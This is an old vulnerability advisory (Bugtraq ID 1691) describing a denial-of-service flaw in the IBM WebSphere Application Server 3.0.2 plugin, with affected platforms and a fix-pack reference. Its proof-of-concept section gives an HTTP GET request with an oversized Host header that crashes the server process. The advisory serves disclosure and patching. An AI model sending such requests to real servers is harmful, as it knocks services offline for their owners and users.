WebSphere Application Server Plugin DoS Vulnerability

BID:1691

Info

WebSphere Application Server Plugin DoS Vulnerability

Bugtraq ID: 1691
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Sep 15 2000 12:00AM
Updated: Sep 15 2000 12:00AM
Credit: Reported to bugtraq on September 15, 2000 by Rude Yak <[email protected]>.
Vulnerable: IBM Websphere Application Server 3.0.2
- IBM AIX 4.3
- Linux kernel 2.3 .x
- Microsoft Windows NT 4.0
- Sun Solaris 8_sparc
Not Vulnerable:

Discussion

WebSphere Application Server Plugin DoS Vulnerability

Large amounts of data (ie 1092+ characters) in the Host: request header may cause the web server process to fault on signal 11 (SIGSEGV) or signal 10 (SIGBUS).

Exploit / POC

WebSphere Application Server Plugin DoS Vulnerability

GET /servletsnoop HTTP/1.0
Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters)

resulted in the following IBMHTTPD log entry:

[Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation
Fault (11)

Solution / Fix

WebSphere Application Server Plugin DoS Vulnerability

Solution:
This vulnerability has been fixed by IBM in WAS 3.0.2 fix pack 2, available at http://www-4.ibm.com/software/webservers/appserv/efix.html


IBM Websphere Application Server 3.0.2

References

WebSphere Application Server Plugin DoS Vulnerability

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